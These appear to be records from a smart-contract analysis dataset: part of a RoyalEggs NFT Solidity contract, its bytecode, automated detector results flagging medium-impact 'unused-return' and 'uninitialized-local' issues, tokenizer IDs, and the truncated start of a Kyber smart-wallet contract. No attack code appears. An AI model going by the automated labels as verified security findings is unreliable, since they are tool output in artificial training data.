onlyRole(TEAM_ROLE) { cost = _newCost; } function pauseMint() public onlyRole(TEAM_ROLE) { paused_mint = true; emit MintPaused(msg.sender); } function unpauseMint() public onlyRole(TEAM_ROLE) { paused_mint = false; emit MintUnpaused(msg.sender); } function pausePreMint() public onlyRole(TEAM_ROLE) { paused_pre_mint = true; emit PreMintPaused(msg.sender); } function unpausePreMint() public onlyRole(TEAM_ROLE) { paused_pre_mint = false; emit PreMintUnpaused(msg.sender); } function updateTreasuryWalletAddress(address _royaleggs_treasury) public onlyRole(TEAM_ROLE) { royaleggs_treasury = _royaleggs_treasury; } function setPreMintRoleBatch(address[] calldata _addresses) external onlyRole(TEAM_ROLE) { for(uint256 i; i < _addresses.length; i++){ _pre_sale_minters[_addresses[i]] = true; emit setPreMintRole(_addresses[i]); } } function reaveal() public onlyRole(TEAM_ROLE) { revealed = true; } function setBaseURI(string memory _newBaseURI) public onlyRole(TEAM_ROLE) { baseURI = _newBaseURI; } function setNotRevealedURI(string memory _notRevealedURI) public onlyRole(TEAM_ROLE) { notRevealedUri = _notRevealedURI; } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function withdrawAllToTreasury() public onlyRole(TEAM_ROLE) { uint256 _balance = address(this).balance ; require(_balance > 0, "RoyalEggs: No Balance"); require(payable(royaleggs_treasury).send(_balance), "RoyalEggs: FAILED to withdraw "); } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "RoyalEggs: URI query for nonexistent token"); if (revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); string memory json = ".json"; return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), json)) : ''; } function walletOfOwner(address _owner) public view returns(uint256[] memory) { uint256 tokenCount = balanceOf(_owner); uint256[] memory tokensId = new uint256[](tokenCount); for(uint256 i; i < tokenCount; i++){ tokensId[i] = tokenOfOwnerByIndex(_owner, i); } return tokensId; } function getTreasuryWallet() public view onlyRole(TEAM_ROLE) returns(address wallet) { return royaleggs_treasury; } function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable, AccessControl) returns (bool) { return super.supportsInterface(interfaceId); } function is_pre_mint_allowed(address account) public view returns (bool) { return _pre_sale_minters[account]; } }
0x6080604052600436106102f75760003560e01c80636556646511610196578063b88d4fde116100eb578063cd85cdb51161008f578063d813df0e1161006c578063d813df0e146108b0578063e985e9c5146108c5578063f2c4ce1e1461090e578063f2fde38b1461092e57005b8063cd85cdb514610873578063d22f79e814610888578063d547741f1461089057005b8063c6a3768a116100c8578063c6a3768a14610804578063c87b56dd14610819578063cb48d8ee14610839578063ccfe21581461085357005b8063b88d4fde146107b9578063bd595581146107d9578063bf7ffd60146107ee57005b806391d1485411610152578063a0712d681161012f578063a0712d681461075c578063a217fddf1461076f578063a22cb46514610784578063a40a65ab146107a457005b806391d148541461070757806395d89b41146107275780639e2407851461073c57005b8063655664651461065057806370a0823114610666578063715018a6146106865780637d28c5b91461069b5780638da5cb5b146106d45780638ee0927b146106f257005b80632f745c591161024c57806349d5e6041161020857806351830227116101e557806351830227146105da57806351bed37b146105fa57806355f804b3146106105780636352211e1461063057005b806349d5e604146105795780634f6ccce71461059b5780635166d586146105bb57005b80632f745c59146104ac57806336568abe146104cc57806342842e0e146104ec578063438b63001461050c57806344a0d68a14610539578063468e5c2b1461055957005b8063144ffc70116102b357806323b872dd1161029057806323b872dd14610427578063248a9ca3146104475780632c035b74146104775780632f2ff15d1461048c57005b8063144ffc70146103e857806318160ddd146103fd5780631a8bd2da1461041257005b806301ffc9a71461030057806306fdde0314610335578063081812fc14610357578063081c8c441461038f578063095ea7b3146103a457806313faede6146103c457005b366102fe57005b005b34801561030c57600080fd5b5061032061031b366004612d9a565b61094e565b60405190151581526020015b60405180910390f35b34801561034157600080fd5b5061034a61095f565b60405161032c9190612f82565b34801561036357600080fd5b50610377610372366004612d5e565b6109f1565b6040516001600160a01b03909116815260200161032c565b34801561039b57600080fd5b5061034a610a8b565b3480156103b057600080fd5b506102fe6103bf366004612cbf565b610b19565b3480156103d057600080fd5b506103da600d5481565b60405190815260200161032c565b3480156103f457600080fd5b506102fe610c2f565b34801561040957600080fd5b506008546103da565b34801561041e57600080fd5b506102fe610c5c565b34801561043357600080fd5b506102fe610442366004612bcb565b610cb6565b34801561045357600080fd5b506103da610462366004612d5e565b6000908152600b602052604090206001015490565b34801561048357600080fd5b50610377610ce7565b34801561049857600080fd5b506102fe6104a7366004612d77565b610d15565b3480156104b857600080fd5b506103da6104c7366004612cbf565b610d3b565b3480156104d857600080fd5b506102fe6104e7366004612d77565b610dd1565b3480156104f857600080fd5b506102fe610507366004612bcb565b610e4f565b34801561051857600080fd5b5061052c610527366004612b7d565b610e6a565b60405161032c9190612f3e565b34801561054557600080fd5b506102fe610554366004612d5e565b610f0c565b34801561056557600080fd5b506102fe610574366004612ce9565b610f2b565b34801561058557600080fd5b506103da6000805160206131cc83398151915281565b3480156105a757600080fd5b506103da6105b6366004612d5e565b61101f565b3480156105c757600080fd5b5060115461032090610100900460ff1681565b3480156105e657600080fd5b506011546103209062010000900460ff1681565b34801561060657600080fd5b506103da6122b881565b34801561061c57600080fd5b506102fe61062b366004612dd4565b6110b2565b34801561063c57600080fd5b5061037761064b366004612d5e565b6110de565b34801561065c57600080fd5b506103da600e5481565b34801561067257600080fd5b506103da610681366004612b7d565b611155565b34801561069257600080fd5b506102fe6111dc565b3480156106a757600080fd5b506103206106b6366004612b7d565b6001600160a01b031660009081526010602052604090205460ff1690565b3480156106e057600080fd5b50600a546001600160a01b0316610377565b3480156106fe57600080fd5b506102fe611242565b34801561071357600080fd5b50610320610722366004612d77565b611296565b34801561073357600080fd5b5061034a6112c1565b34801561074857600080fd5b506102fe610757366004612b7d565b6112d0565b6102fe61076a366004612d5e565b611360565b34801561077b57600080fd5b506103da600081565b34801561079057600080fd5b506102fe61079f366004612c83565b6115db565b3480156107b057600080fd5b506102fe6116a0565b3480156107c557600080fd5b506102fe6107d4366004612c07565b6116f8565b3480156107e557600080fd5b506102fe61172a565b3480156107fa57600080fd5b506103da600f5481565b34801561081057600080fd5b506103da600b81565b34801561082557600080fd5b5061034a610834366004612d5e565b6117fe565b34801561084557600080fd5b506011546103209060ff1681565b34801561085f57600080fd5b506102fe61086e366004612b7d565b611994565b34801561087f57600080fd5b506102fe6119d0565b6102fe611a26565b34801561089c57600080fd5b506102fe6108ab366004612d77565b611c22565b3480156108bc57600080fd5b506103da600c81565b3480156108d157600080fd5b506103206108e0366004612b98565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b34801561091a57600080fd5b506102fe610929366004612dd4565b611c48565b34801561093a57600080fd5b506102fe610949366004612b7d565b611c74565b600061095982611ee2565b92915050565b60606000805461096e906130dd565b80601f016020809104026020016040519081016040528092919081815260200182805461099a906130dd565b80156109e75780601f106109bc576101008083540402835291602001916109e7565b820191906000526020600020905b8154815290600101906020018083116109ca57829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b0316610a6f5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b60128054610a98906130dd565b80601f0160208091040260200160405190810160405280929190818152602001828054610ac4906130dd565b8015610b115780601f10610ae657610100808354040283529160200191610b11565b820191906000526020600020905b815481529060010190602001808311610af457829003601f168201915b505050505081565b6000610b24826110de565b9050806001600160a01b0316836001600160a01b03161415610b925760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610a66565b336001600160a01b0382161480610bae5750610bae81336108e0565b610c205760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610a66565b610c2a8383611f07565b505050565b6000805160206131cc833981519152610c488133611f75565b506011805462ff0000191662010000179055565b6000805160206131cc833981519152610c758133611f75565b6011805460ff191690556040513381527f4edc83796ddd13f7381b8c91ffbca02176782693577083e23486400548aaa8a1906020015b60405180910390a150565b610cc03382611fd9565b610cdc5760405162461bcd60e51b8152600401610a6690612fe7565b610c2a8383836120cc565b60006000805160206131cc833981519152610d028133611f75565b6013546001600160a01b031691505b5090565b6000828152600b6020526040902060010154610d318133611f75565b610c2a8383612277565b6000610d4683611155565b8210610da85760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610a66565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b6001600160a01b0381163314610e415760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b6064820152608401610a66565b610e4b82826122fd565b5050565b610c2a838383604051806020016040528060008152506116f8565b60606000610e7783611155565b905060008167ffffffffffffffff811115610e9457610e9461319f565b604051908082528060200260200182016040528015610ebd578160200160208202803683370190505b50905060005b82811015610f0457610ed58582610d3b565b828281518110610ee757610ee7613189565b602090810291909101015280610efc81613118565b915050610ec3565b509392505050565b6000805160206131cc833981519152610f258133611f75565b50600d55565b6000805160206131cc833981519152610f448133611f75565b60005b8281101561101957600160106000868685818110610f6757610f67613189565b9050602002016020810190610f7c9190612b7d565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790557f76a4908ea0b72e737177dfabc7e452107f3d0191151537dd4526731c276f456e848483818110610fd757610fd7613189565b9050602002016020810190610fec9190612b7d565b6040516001600160a01b03909116815260200160405180910390a18061101181613118565b915050610f47565b50505050565b600061102a60085490565b821061108d5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610a66565b600882815481106110a0576110a0613189565b90600052602060002001549050919050565b6000805160206131cc8339815191526110cb8133611f75565b8151610c2a90600c906020850190612a5b565b6000818152600260205260408120546001600160a01b0316806109595760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610a66565b60006001600160a01b0382166111c05760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610a66565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b031633146112365760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a66565b6112406000612364565b565b6000805160206131cc83398151915261125b8133611f75565b6011805461ff00191690556040513381527f8a3f4e54d8cdf3c0e6f0646578db4ba141e67bf902991531b47e6aa4c88480b790602001610cab565b6000918252600b602090815260408084206001600160a01b0393909316845291905290205460ff1690565b60606001805461096e906130dd565b6000805160206131cc8339815191526112e98133611f75565b6000600f541161133b5760405162461bcd60e51b815260206004820152601c60248201527f526f79616c456767733a204e6f204d6f726520467265652045676773000000006044820152606401610a66565b6001600f600082825461134e9190613083565b9091555050600854610c2a83826123b6565b60115460ff16156113b35760405162461bcd60e51b815260206004820152601960248201527f526f79616c456767733a206d696e7420697320706175736564000000000000006044820152606401610a66565b60006113be60085490565b905060006113cb33611155565b9050600b8311156114445760405162461bcd60e51b815260206004820152603760248201527f526f79616c456767733a204d617820526f79616c204567677320706572206d6960448201527f6e74206578636565646564202120747279206c657373200000000000000000006064820152608401610a66565b600c6114508483613038565b11156114cf5760405162461bcd60e51b815260206004820152604260248201527f526f79616c456767733a204d617820526f79616c20456767732070657220776160448201527f6c6c6574206578636565646564202120574f57204d616e79207468616e6b73206064820152613c3360f01b608482015260a401610a66565b600f546114de906122b8613083565b6114e88484613038565b11156115365760405162461bcd60e51b815260206004820152601a60248201527f526f79616c456767733a204e6f204d6f72652045676773203a280000000000006044820152606401610a66565b82600d546115449190613064565b3410156115ab5760405162461bcd60e51b815260206004820152602f60248201527f526f79616c456767733a204e6f7420656e6f75676820746f20636f766572207460448201526e03432903a3930b739b0b1ba34b7b71608d1b6064820152608401610a66565b60005b83811015611019576115c9336115c48386613038565b6123b6565b806115d381613118565b9150506115ae565b6001600160a01b0382163314156116345760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610a66565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6000805160206131cc8339815191526116b98133611f75565b6011805461ff0019166101001790556040513381527f261dbdca66ce7134b6b4a8aaab3f7e9d7e389e31a2bad248611205b4619ec7c790602001610cab565b6117023383611fd9565b61171e5760405162461bcd60e51b8152600401610a6690612fe7565b611019848484846123d0565b6000805160206131cc8339815191526117438133611f75565b47806117895760405162461bcd60e51b8152602060048201526015602482015274526f79616c456767733a204e6f2042616c616e636560581b6044820152606401610a66565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050610e4b5760405162461bcd60e51b815260206004820152601e60248201527f526f79616c456767733a204641494c454420746f2077697468647261772000006044820152606401610a66565b6000818152600260205260409020546060906001600160a01b03166118785760405162461bcd60e51b815260206004820152602a60248201527f526f79616c456767733a2055524920717565727920666f72206e6f6e657869736044820152693a32b73a103a37b5b2b760b11b6064820152608401610a66565b60115462010000900460ff1661191a5760128054611895906130dd565b80601f01602080910402602001604051908101604052809291908181526020018280546118c1906130dd565b801561190e5780601f106118e35761010080835404028352916020019161190e565b820191906000526020600020905b8154815290600101906020018083116118f157829003601f168201915b50505050509050919050565b6000611924612403565b604080518082019091526005815264173539b7b760d91b602082015281519192509061195f576040518060200160405280600081525061198c565b8161196985612412565b8260405160200161197c93929190612e49565b6040516020818303038152906040525b949350505050565b6000805160206131cc8339815191526119ad8133611f75565b50601380546001600160a01b0319166001600160a01b0392909216919091179055565b6000805160206131cc8339815191526119e98133611f75565b6011805460ff191660011790556040513381527fee9b45d4bbbf616909699035be16f077b7459c8d4db74944d4e27d84f15faf3490602001610cab565b601154610100900460ff1615611a7e5760405162461bcd60e51b815260206004820152601d60248201527f526f79616c456767733a20707265206d696e74206973207061757365640000006044820152606401610a66565b3360008181526010602052604090205460ff16611af35760405162461bcd60e51b815260206004820152602d60248201527f526f79616c456767733a206163636f756e74206973206e6f7420616c6c6f776560448201526c19081d1bc81c1c99481b5a5b9d609a1b6064820152608401610a66565b6000600e5411611b515760405162461bcd60e51b8152602060048201526024808201527f526f79616c456767733a204e6f204d6f7265204567677320666f7220707265206044820152631b5a5b9d60e21b6064820152608401610a66565b600d54341015611baf5760405162461bcd60e51b8152602060048201526024808201527f526f79616c456767733a204e6f7420656e6f75676820746f20636f7665722063604482015263037b9ba160e51b6064820152608401610a66565b336000908152601060205260408120805460ff19169055600e805460019290611bd9908490613083565b9091555050600854611beb33826123b6565b6040513381527ffaedf1435ba1285ffa084b8b584a15eeb8199ee8d75ef5ed5538ebcf9ceebc639060200160405180910390a15050565b6000828152600b6020526040902060010154611c3e8133611f75565b610c2a83836122fd565b6000805160206131cc833981519152611c618133611f75565b8151610c2a906012906020850190612a5b565b600a546001600160a01b03163314611cce5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a66565b6001600160a01b038116611d335760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a66565b611d3c81612364565b50565b60606000611d4e836002613064565b611d59906002613038565b67ffffffffffffffff811115611d7157611d7161319f565b6040519080825280601f01601f191660200182016040528015611d9b576020820181803683370190505b509050600360fc1b81600081518110611db657611db6613189565b60200101906001600160f81b031916908160001a905350600f60fb1b81600181518110611de557611de5613189565b60200101906001600160f81b031916908160001a9053506000611e09846002613064565b611e14906001613038565b90505b6001811115611e8c576f181899199a1a9b1b9c1cb0b131b232b360811b85600f1660108110611e4857611e48613189565b1a60f81b828281518110611e5e57611e5e613189565b60200101906001600160f81b031916908160001a90535060049490941c93611e85816130c6565b9050611e17565b508315611edb5760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e746044820152606401610a66565b9392505050565b60006001600160e01b03198216637965db0b60e01b1480610959575061095982612510565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611f3c826110de565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b611f7f8282611296565b610e4b57611f97816001600160a01b03166014611d3f565b611fa2836020611d3f565b604051602001611fb3929190612e8c565b60408051601f198184030181529082905262461bcd60e51b8252610a6691600401612f82565b6000818152600260205260408120546001600160a01b03166120525760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610a66565b600061205d836110de565b9050806001600160a01b0316846001600160a01b031614806120985750836001600160a01b031661208d846109f1565b6001600160a01b0316145b8061198c57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff1661198c565b826001600160a01b03166120df826110de565b6001600160a01b0316146121475760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610a66565b6001600160a01b0382166121a95760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610a66565b6121b4838383612535565b6121bf600082611f07565b6001600160a01b03831660009081526003602052604081208054600192906121e8908490613083565b90915550506001600160a01b0382166000908152600360205260408120805460019290612216908490613038565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6122818282611296565b610e4b576000828152600b602090815260408083206001600160a01b03851684529091529020805460ff191660011790556122b93390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6123078282611296565b15610e4b576000828152600b602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610e4b8282604051806020016040528060008152506125ed565b6123db8484846120cc565b6123e784848484612620565b6110195760405162461bcd60e51b8152600401610a6690612f95565b6060600c805461096e906130dd565b6060816124365750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612460578061244a81613118565b91506124599050600a83613050565b915061243a565b60008167ffffffffffffffff81111561247b5761247b61319f565b6040519080825280601f01601f1916602001820160405280156124a5576020820181803683370190505b5090505b841561198c576124ba600183613083565b91506124c7600a86613133565b6124d2906030613038565b60f81b8183815181106124e7576124e7613189565b60200101906001600160f81b031916908160001a905350612509600a86613050565b94506124a9565b60006001600160e01b0319821663780e9d6360e01b148061095957506109598261272d565b6001600160a01b0383166125905761258b81600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b6125b3565b816001600160a01b0316836001600160a01b0316146125b3576125b3838261277d565b6001600160a01b0382166125ca57610c2a8161281a565b826001600160a01b0316826001600160a01b031614610c2a57610c2a82826128c9565b6125f7838361290d565b6126046000848484612620565b610c2a5760405162461bcd60e51b8152600401610a6690612f95565b60006001600160a01b0384163b1561272257604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290612664903390899088908890600401612f01565b602060405180830381600087803b15801561267e57600080fd5b505af19250505080156126ae575060408051601f3d908101601f191682019092526126ab91810190612db7565b60015b612708573d8080156126dc576040519150601f19603f3d011682016040523d82523d6000602084013e6126e1565b606091505b5080516127005760405162461bcd60e51b8152600401610a6690612f95565b805181602001fd5b6001600160e01b031916630a85bd0160e11b14905061198c565b506001949350505050565b60006001600160e01b031982166380ac58cd60e01b148061275e57506001600160e01b03198216635b5e139f60e01b145b8061095957506301ffc9a760e01b6001600160e01b0319831614610959565b6000600161278a84611155565b6127949190613083565b6000838152600760205260409020549091508082146127e7576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b60085460009061282c90600190613083565b6000838152600960205260408120546008805493945090928490811061285457612854613189565b90600052602060002001549050806008838154811061287557612875613189565b60009182526020808320909101929092558281526009909152604080822084905585825281205560088054806128ad576128ad613173565b6001900381819060005260206000200160009055905550505050565b60006128d483611155565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b0382166129635760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610a66565b6000818152600260205260409020546001600160a01b0316156129c85760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610a66565b6129d460008383612535565b6001600160a01b03821660009081526003602052604081208054600192906129fd908490613038565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054612a67906130dd565b90600052602060002090601f016020900481019282612a895760008555612acf565b82601f10612aa257805160ff1916838001178555612acf565b82800160010185558215612acf579182015b82811115612acf578251825591602001919060010190612ab4565b50610d119291505b80821115610d115760008155600101612ad7565b600067ffffffffffffffff80841115612b0657612b0661319f565b604051601f8501601f19908116603f01168101908282118183101715612b2e57612b2e61319f565b81604052809350858152868686011115612b4757600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b0381168114612b7857600080fd5b919050565b600060208284031215612b8f57600080fd5b611edb82612b61565b60008060408385031215612bab57600080fd5b612bb483612b61565b9150612bc260208401612b61565b90509250929050565b600080600060608486031215612be057600080fd5b612be984612b61565b9250612bf760208501612b61565b9150604084013590509250925092565b60008060008060808587031215612c1d57600080fd5b612c2685612b61565b9350612c3460208601612b61565b925060408501359150606085013567ffffffffffffffff811115612c5757600080fd5b8501601f81018713612c6857600080fd5b612c7787823560208401612aeb565b91505092959194509250565b60008060408385031215612c9657600080fd5b612c9f83612b61565b915060208301358015158114612cb457600080fd5b809150509250929050565b60008060408385031215612cd257600080fd5b612cdb83612b61565b946020939093013593505050565b60008060208385031215612cfc57600080fd5b823567ffffffffffffffff80821115612d1457600080fd5b818501915085601f830112612d2857600080fd5b813581811115612d3757600080fd5b8660208260051b8501011115612d4c57600080fd5b60209290920196919550909350505050565b600060208284031215612d7057600080fd5b5035919050565b60008060408385031215612d8a57600080fd5b82359150612bc260208401612b61565b600060208284031215612dac57600080fd5b8135611edb816131b5565b600060208284031215612dc957600080fd5b8151611edb816131b5565b600060208284031215612de657600080fd5b813567ffffffffffffffff811115612dfd57600080fd5b8201601f81018413612e0e57600080fd5b61198c84823560208401612aeb565b60008151808452612e3581602086016020860161309a565b601f01601f19169290920160200192915050565b60008451612e5b81846020890161309a565b845190830190612e6f81836020890161309a565b8451910190612e8281836020880161309a565b0195945050505050565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000815260008351612ec481601785016020880161309a565b7001034b99036b4b9b9b4b733903937b6329607d1b6017918401918201528351612ef581602884016020880161309a565b01602801949350505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612f3490830184612e1d565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b81811015612f7657835183529284019291840191600101612f5a565b50909695505050505050565b602081526000611edb6020830184612e1d565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6000821982111561304b5761304b613147565b500190565b60008261305f5761305f61315d565b500490565b600081600019048311821515161561307e5761307e613147565b500290565b60008282101561309557613095613147565b500390565b60005b838110156130b557818101518382015260200161309d565b838111156110195750506000910152565b6000816130d5576130d5613147565b506000190190565b600181811c908216806130f157607f821691505b6020821081141561311257634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561312c5761312c613147565b5060010190565b6000826131425761314261315d565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114611d3c57600080fdfe5146a08baf902532d0ee2f909971144f12ca32651cd70cbee1117cddfb3b3b33a26469706673582212201e37498d1b55014d296c3abb824f0aaa48a9d4e9b6530df2f9fd9526b308e72e64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 3401, 2692, 26187, 2683, 2497, 22407, 16576, 2497, 16068, 21486, 2683, 2278, 2692, 22610, 2497, 2581, 2094, 17465, 2581, 10790, 2475, 2094, 2487, 2094, 2620, 2475, 2094, 2581, 2094, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 14046, 1013, 1013, 2023, 2544, 1997, 3647, 18900, 2232, 2323, 2069, 2022, 2109, 2007, 5024, 3012, 1014, 1012, 1022, 2030, 2101, 1010, 1013, 1013, 2138, 2009, 16803, 2006, 1996, 21624, 1005, 1055, 2328, 1999, 2058, 12314, 14148, 1012, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,845
0x95ceC39Aa053C62d1A49D88B60620a489C241F53
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; pragma abicoder v2; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/EnumerableSet.sol"; import "@kyber.network/utils-sc/contracts/IERC20Ext.sol"; import "./interfaces/ISmartWalletImplementation.sol"; import "./SmartWalletStorage.sol"; import "./swap/ISwap.sol"; import "./lending/ILending.sol"; contract SmartWalletImplementation is SmartWalletStorage, ISmartWalletImplementation { using SafeERC20 for IERC20Ext; using SafeMath for uint256; using EnumerableSet for EnumerableSet.AddressSet; event ApprovedAllowances(IERC20Ext[] tokens, address[] spenders, bool isReset); event ClaimedPlatformFees(address[] wallets, IERC20Ext[] tokens, address claimer); constructor(address _admin) SmartWalletStorage(_admin) {} receive() external payable {} /// Claim fee to platform wallets function claimPlatformFees(address[] calldata platformWallets, IERC20Ext[] calldata tokens) external override nonReentrant { for (uint256 i = 0; i < platformWallets.length; i++) { for (uint256 j = 0; j < tokens.length; j++) { uint256 fee = platformWalletFees[platformWallets[i]][tokens[j]]; if (fee > 1) { // fee set to 1 to avoid the SSTORE initial gas cost platformWalletFees[platformWallets[i]][tokens[j]] = 1; transferToken(payable(platformWallets[i]), tokens[j], fee - 1); } } } emit ClaimedPlatformFees(platformWallets, tokens, msg.sender); } /// @dev approve/unapprove LPs usage on the particular tokens function approveAllowances( IERC20Ext[] calldata tokens, address[] calldata spenders, bool isReset ) external onlyAdmin { uint256 allowance = isReset ? 0 : MAX_ALLOWANCE; for (uint256 i = 0; i < tokens.length; i++) { for (uint256 j = 0; j < spenders.length; j++) { tokens[i].safeApprove(spenders[j], allowance); } getSetDecimals(tokens[i]); } emit ApprovedAllowances(tokens, spenders, isReset); } /// @dev get expected return including the fee /// @return destAmount expected dest amount /// @return expectedRate expected swap rate function getExpectedReturn(ISmartWalletImplementation.GetExpectedReturnParams calldata params) external view override returns (uint256 destAmount, uint256 expectedRate) { if (params.feeBps >= BPS) return (0, 0); // platform fee is too high uint256 actualSrc = (params.feeMode == FeeMode.FROM_SOURCE) ? (params.srcAmount * (BPS - params.feeBps)) / BPS : params.srcAmount; destAmount = ISwap(params.swapContract).getExpectedReturn( ISwap.GetExpectedReturnParams({ srcAmount: actualSrc, tradePath: params.tradePath, feeBps: params.feeMode == FeeMode.BY_PROTOCOL ? params.feeBps : 0, extraArgs: params.extraArgs }) ); if (params.feeMode == FeeMode.FROM_DEST) { destAmount = 